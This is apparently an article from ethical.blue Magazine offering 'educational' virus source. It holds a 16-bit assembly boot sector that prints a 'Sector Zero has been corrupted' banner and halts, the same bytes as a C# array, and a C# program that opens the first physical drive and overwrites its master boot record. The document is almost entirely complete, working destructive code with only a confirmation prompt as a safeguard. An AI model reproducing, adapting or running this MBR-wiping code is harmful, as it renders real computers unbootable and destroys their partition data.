Educational Sector Zero Corruptor Virus

Edukacyjny wirus uszkadzający sektor zerowy dysku

CorruptedSector.asm

```
; © ethical.blue Magazine // Cybersecurity clarified.

;DOSBox Emulator and Borland Turbo Assembler needed.
;tasm.exe program.asm
;tlink.exe program.obj
;PE file is created. Perform bytes extraction
;and apply padding to 512 bytes.

.model small
.code
org 7C00h
start:
    mov ax, 0600h
    mov bh, 1Fh
    mov cx, 0000h
    mov dx, 184Fh
    int 10h

    mov ah, 02h
    sub bh, bh
    mov dh, 01h
    mov dl, 01h
    int 10h

    lea si, ethical
    cld

_loop:
    mov al, [si]
    test al, al
    jz _quit

    mov ah, 0Eh
    int 10h

    inc si
    jmp _loop
_quit:
    mov ah, 0
    int 16h

    hlt

ethical db 0Dh, 0Ah
db "       _   _     _           _   _     _            ", 0Dh, 0Ah
db "      | | | |   (_)         | | | |   | |           ", 0Dh, 0Ah
db "   ___| |_| |__  _  ___ __ _| | | |__ | |_   _  ___ ", 0Dh, 0Ah
db "  / _ \ __| '_ \| |/ __/ _` | | | '_ \| | | | |/ _ |", 0Dh, 0Ah
db " |  __/ |_| | | | | (_| (_| | |_| |_) | | |_| |  __/", 0Dh, 0Ah
db "  \___|\__|_| |_|_|\___\__,_|_(_)_.__/|_|\__,_|\___|", 0Dh, 0Ah
db "                                           Magazine ", 0Dh, 0Ah
db " // Cybersecurity clarified.", 0Dh, 0Ah, 0Dh, 0Ah
db " Sector Zero has been corrupted. o_O ", 0Dh, 0Ah
db 00h, 00h, 00h, 55h, 0AAh
end start
```

CorruptedSector.cs

```
internal class CorruptedSector
{
    internal static readonly byte[] rawData =
    {
        0xB8, 0x00, 0x06, 0xB7, 0x1F, 0xB9, 0x00, 0x00, 0xBA, 0x4F, 0x18, 0xCD,
        0x10, 0xB4, 0x02, 0xB7, 0x00, 0xB6, 0x01, 0xB2, 0x01, 0xCD, 0x10, 0xBE,
        0x2D, 0x7C, 0xFC, 0x8A, 0x04, 0x84, 0xC0, 0x74, 0x07, 0xB4, 0x0E, 0xCD,
        0x10, 0x46, 0xEB, 0xF3, 0xB4, 0x00, 0xCD, 0x16, 0xF4, 0x0D, 0x0A, 0x20,
        0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x5F, 0x20, 0x20, 0x20, 0x5F, 0x20,
        0x20, 0x20, 0x20, 0x20, 0x5F, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
        0x20, 0x20, 0x20, 0x20, 0x5F, 0x20, 0x20, 0x20, 0x5F, 0x20, 0x20, 0x20,
        0x20, 0x20, 0x5F, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
        0x20, 0x20, 0x20, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7C,
        0x20, 0x7C, 0x20, 0x7C, 0x20, 0x7C, 0x20, 0x20, 0x20, 0x28, 0x5F, 0x29,
        0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7C, 0x20, 0x7C,
        0x20, 0x7C, 0x20, 0x7C, 0x20, 0x20, 0x20, 0x7C, 0x20, 0x7C, 0x20, 0x20,
        0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x0D, 0x0A, 0x20,
        0x20, 0x20, 0x5F, 0x5F, 0x5F, 0x7C, 0x20, 0x7C, 0x5F, 0x7C, 0x20, 0x7C,
        0x5F, 0x5F, 0x20, 0x20, 0x5F, 0x20, 0x20, 0x5F, 0x5F, 0x5F, 0x20, 0x5F,
        0x5F, 0x20, 0x5F, 0x7C, 0x20, 0x7C, 0x20, 0x7C, 0x20, 0x7C, 0x5F, 0x5F,
        0x20, 0x7C, 0x20, 0x7C, 0x5F, 0x20, 0x20, 0x20, 0x5F, 0x20, 0x20, 0x5F,
        0x5F, 0x5F, 0x20, 0x0D, 0x0A, 0x20, 0x20, 0x2F, 0x20, 0x5F, 0x20, 0x5C,
        0x20, 0x5F, 0x5F, 0x7C, 0x20, 0x27, 0x5F, 0x20, 0x5C, 0x7C, 0x20, 0x7C,
        0x2F, 0x20, 0x5F, 0x5F, 0x2F, 0x20, 0x5F, 0x60, 0x20, 0x7C, 0x20, 0x7C,
        0x20, 0x7C, 0x20, 0x27, 0x5F, 0x20, 0x5C, 0x7C, 0x20, 0x7C, 0x20, 0x7C,
        0x20, 0x7C, 0x20, 0x7C, 0x2F, 0x20, 0x5F, 0x20, 0x7C, 0x0D, 0x0A, 0x20,
        0x7C, 0x20, 0x20, 0x5F, 0x5F, 0x2F, 0x20, 0x7C, 0x5F, 0x7C, 0x20, 0x7C,
        0x20, 0x7C, 0x20, 0x7C, 0x20, 0x7C, 0x20, 0x28, 0x5F, 0x7C, 0x20, 0x28,
        0x5F, 0x7C, 0x20, 0x7C, 0x20, 0x7C, 0x5F, 0x7C, 0x20, 0x7C, 0x5F, 0x29,
        0x20, 0x7C, 0x20, 0x7C, 0x20, 0x7C, 0x5F, 0x7C, 0x20, 0x7C, 0x20, 0x20,
        0x5F, 0x5F, 0x2F, 0x0D, 0x0A, 0x20, 0x20, 0x5C, 0x5F, 0x5F, 0x5F, 0x7C,
        0x5C, 0x5F, 0x5F, 0x7C, 0x5F, 0x7C, 0x20, 0x7C, 0x5F, 0x7C, 0x5F, 0x7C,
        0x5C, 0x5F, 0x5F, 0x5F, 0x5C, 0x5F, 0x5F, 0x2C, 0x5F, 0x7C, 0x5F, 0x28,
        0x5F, 0x29, 0x5F, 0x2E, 0x5F, 0x5F, 0x2F, 0x7C, 0x5F, 0x7C, 0x5C, 0x5F,
        0x5F, 0x2C, 0x5F, 0x7C, 0x5C, 0x5F, 0x5F, 0x5F, 0x7C, 0x0D, 0x0A, 0x20,
        0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
        0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
        0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
        0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x4D, 0x61, 0x67, 0x61, 0x7A, 0x69,
        0x6E, 0x65, 0x20, 0x0D, 0x0A, 0x20, 0x2F, 0x2F, 0x20, 0x43, 0x79, 0x62,
        0x65, 0x72, 0x73, 0x65, 0x63, 0x75, 0x72, 0x69, 0x74, 0x79, 0x20, 0x63,
        0x6C, 0x61, 0x72, 0x69, 0x66, 0x69, 0x65, 0x64, 0x2E, 0x0D, 0x0A, 0x0D,
        0x0A, 0x20, 0x53, 0x65, 0x63, 0x74, 0x6F, 0x72, 0x20, 0x5A, 0x65, 0x72,
        0x6F, 0x20, 0x68, 0x61, 0x73, 0x20, 0x62, 0x65, 0x65, 0x6E, 0x20, 0x63,
        0x6F, 0x72, 0x72, 0x75, 0x70, 0x74, 0x65, 0x64, 0x2E, 0x20, 0x6F, 0x5F,
        0x4F, 0x20, 0x0D, 0x0A, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x55, 0xAA
    };
}
```

Program.cs

```
// © ethical.blue Magazine // Cybersecurity clarified.

using System.Runtime.InteropServices;
Console.WriteLine(@"
 // (c) ethical.blue Magazine // Cybersecurity clarified.

 ---=== Sector Zero Corruptor Virus ===---

 This program will destroy sector zero
 (master boot record) of \\.\PhysicalDrive0."
+ Environment.NewLine);

string? key;
const int FALSE = 0;
Console.WriteLine(@" Are you sure that you want to destroy");
Console.WriteLine(" \\\\.\\PhysicalDrive0 sector zero?");
Console.WriteLine(" [y] Yes or [n] No");
key = Console.ReadLine() ?? "n";
if (key.ToLower().StartsWith("n"))
{
    Console.WriteLine($" Log: \\\\.\\PhysicalDrive0 sector zero destruction
CANCELLED.");
    Console.ReadKey();
    return;
}

Console.WriteLine($" Log: Opening drive \\\\.\\PhysicalDrive0...");

IntPtr drive = CreateFileA("\\\\.\\PhysicalDrive0",
FileAccess.Write,
FileShare.Write | FileShare.Read | FileShare.Delete,
IntPtr.Zero,
FileMode.Open,
FileAttributes.System,
IntPtr.Zero);

uint written = 0;

var ret = WriteFile(drive, CorruptedSector.rawData,
                CorruptedSector.rawData.Length, written, IntPtr.Zero);

CloseHandle(drive);

if (ret == FALSE)
    Console.WriteLine(" Log: WriteFile function failed.");
else
    Console.WriteLine(" Log: Sector zero (MBR) successfully overwritten.");

Console.ReadKey();

[DllImport("kernel32.dll", CharSet = CharSet.Ansi, SetLastError = true)]
static extern unsafe IntPtr CreateFileA(
     [MarshalAs(UnmanagedType.LPStr)] string filename,
     [MarshalAs(UnmanagedType.U4)] FileAccess access,
     [MarshalAs(UnmanagedType.U4)] FileShare share,
     IntPtr securityAttributes,
     [MarshalAs(UnmanagedType.U4)] FileMode creationDisposition,
     [MarshalAs(UnmanagedType.U4)] FileAttributes flagsAndAttributes,
     IntPtr templateFile);

[DllImport("kernel32.dll", SetLastError = true)]
static extern unsafe int WriteFile(IntPtr handle, byte[] buffer,
  int numBytesToWrite, uint numBytesWritten,
  IntPtr lpOverlapped);

[DllImport("kernel32.dll", SetLastError = true)]
static extern bool CloseHandle(IntPtr hHandle);
```

```
// Cybersecurity clarified.

Sector Zero has been corrupted. o_O

_
```